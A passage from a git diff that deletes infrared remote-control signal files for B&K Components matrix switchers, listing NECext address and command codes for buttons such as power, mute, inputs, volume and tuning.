NECext -address: 17 8E 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 30 00 00 00 -# -name: IN -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 17 8E 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir deleted file mode 100644 index 03e53ef56..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: EF 01 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: EF 01 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: EF 01 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir deleted file mode 100644 index 2c5532a4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir +++ /dev/null @@ -1,530 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 40 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir deleted file mode 100644 index 360f272ba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir +++ /dev/null @@ -1,590 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: 016_OFF -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: 016_ON -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: 016_INPUT_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 06 00 00 00 -# -name: 016_INPUT_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: 016_INPUT_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0B 00 00 00 -# -name: 016_INPUT_7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: 016_INPUT_4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: 016_INPUT_5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 17 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 18 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1B 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1C 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: 016_VOLUME_- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: 016_VOLUME_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: 90 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4A 00 00 00 -# -name: 016_INPUT_6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 79 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: CF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: F9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir deleted file mode 100644 index d692746aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir deleted file mode 100644 index 8af08317e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 03 00 00 00 -# -name: 